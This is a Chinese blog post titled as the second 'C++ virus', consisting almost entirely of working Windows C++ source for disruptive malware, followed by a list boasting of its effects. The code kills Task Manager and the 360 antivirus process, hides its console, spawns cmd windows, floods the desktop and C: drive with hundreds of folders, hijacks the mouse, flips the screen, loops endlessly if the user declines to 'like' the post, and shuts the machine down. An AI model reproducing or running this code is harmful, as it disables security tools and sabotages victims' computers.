C++病毒(^_^|)(2)

第二期

声明:

仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

直接上代码
cpp 复制代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;

void lrud(int n=1){
	if(n==1){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_LEFT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	
	}else if(n==2){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_UP,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		
	}else if(n==3){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_RIGHT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		
	}else{
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_DOWN,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	
	}
}

void for_lrud(){
	for(int i=1;i<=4;i++){
		lrud(i);
	}
	lrud(2);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
  	if (nCode == HCBT_ACTIVATE) {
    	HWND hMsgBox = (HWND)wParam;
        SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
        UnhookWindowsHookEx(g_hHook);
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

string itos3(int n){
	int a,b,c;
	a=n/100;
	b=n%100/10;
	c=n%10;
	string s="";
	if(a!=0){
		char d=a+'0';
		s+=d;		
	}
	if(b!=0||(b==0&&a!=0)){
		char d=b+'0';
		s+=d;
	}
	if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
		char d=c+'0';
		s+=d;
	}
	return s;
}

struct vir{
	struct wenjian{
		void xingshi(){
			system("taskkill /f /im taskmgr.exe");
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_HIDE);
			}
			MessageBox(NULL,"新年新气象","古诗",MB_OK);
			MessageBox(NULL,"新年多上当","古诗",MB_OK);
			MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	
			MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	
			MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
			MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
			Sleep(2000);
			WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			
			HWND hw=FindWindow("360Safe.exe",NULL);
			if(hw!=NULL){
				ShowWindow(hw,SW_HIDE);
			}
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	
			Sleep(500);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			Sleep(4000);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
			ShowOwnedPopups(hwnd, SW_HIDE);
			ShowWindow(hwnd, SW_HIDE);			
			int ll=10000;
			while(ll--){
				int cx=GetSystemMetrics(SM_CXSCREEN);
				int cy=GetSystemMetrics(SM_CYSCREEN);
				SetCursorPos(rand() % cx,rand() % cy);
			}
		}
		void vira(){
			xingshi();
			int ll=100;
			while(ll--){
				system("start cmd");
			}
			MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
			Sleep(20000);
			MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			Sleep(20000);
			MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			
			int ii=100000;
			while(ii--){
				SetCursorPos(1,1);
			}
			MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
			int iii=10000;
			while(iii--){
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);
			MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);
			for_lrud();
			MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);
			for(int i=1;i<=999;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
				string jjb="mkdir C:\\b";
				jjb+=itos3(i);
				system(jjb.data());	
			}			
			int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);
			if(pp==IDCANCEL){
				while(1){
					system("start cmd");
					srand(time(0));
					SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));
					lrud(rand()%4+1);
				}
			}
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			ShowOwnedPopups(hwnd, SW_SHOW);
			ShowWindow(hwnd, SW_SHOW);
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);
			system("shutdown -s");
		}
	}wen;
}virus;

int main(){
	virus.wen.vira();
}

危害极大,建议损害电脑:

禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态,C盘爆炸,随意谎骗,不点赞惩罚

相关推荐
WWJA王文举6 小时前
I²C通信完整流程详解:START、地址、ACK、数据、Repeated START和STOP一次讲透
c语言·开发语言
zhanghaha13147 小时前
Python进阶教程:6_JSON 数据解析 —— 新手完全指南
开发语言·python·json
ShineWinsu8 小时前
对于C++:C++11中lambda、function、bind的解析
c++·面试·笔试·开发·lambda·bind·function
码匠许师傅8 小时前
【C++ 面试真题】聊聊 C++ 的拷贝构造与拷贝赋值
java·c++·面试
qq_448011168 小时前
C语言中的动态内存分配
c语言·开发语言·php
旖旎夜光9 小时前
LeetCode 3:无重复字符的最长子串(滑动窗口) —— 题解
数据结构·c++·算法·leetcode·滑动窗口
汉字萌萌哒9 小时前
2024CSP-J入门级C++真题详解
开发语言·c++
arbboter9 小时前
【网络工具】NetProxy网络代理用户手册
开发语言·网络·c#·网络代理·网络异常·代理工具
hy.z_77710 小时前
【C++】13. 继承
c++
汉字萌萌哒10 小时前
2019CCF-CSP入门级C++试题解析
java·开发语言·c++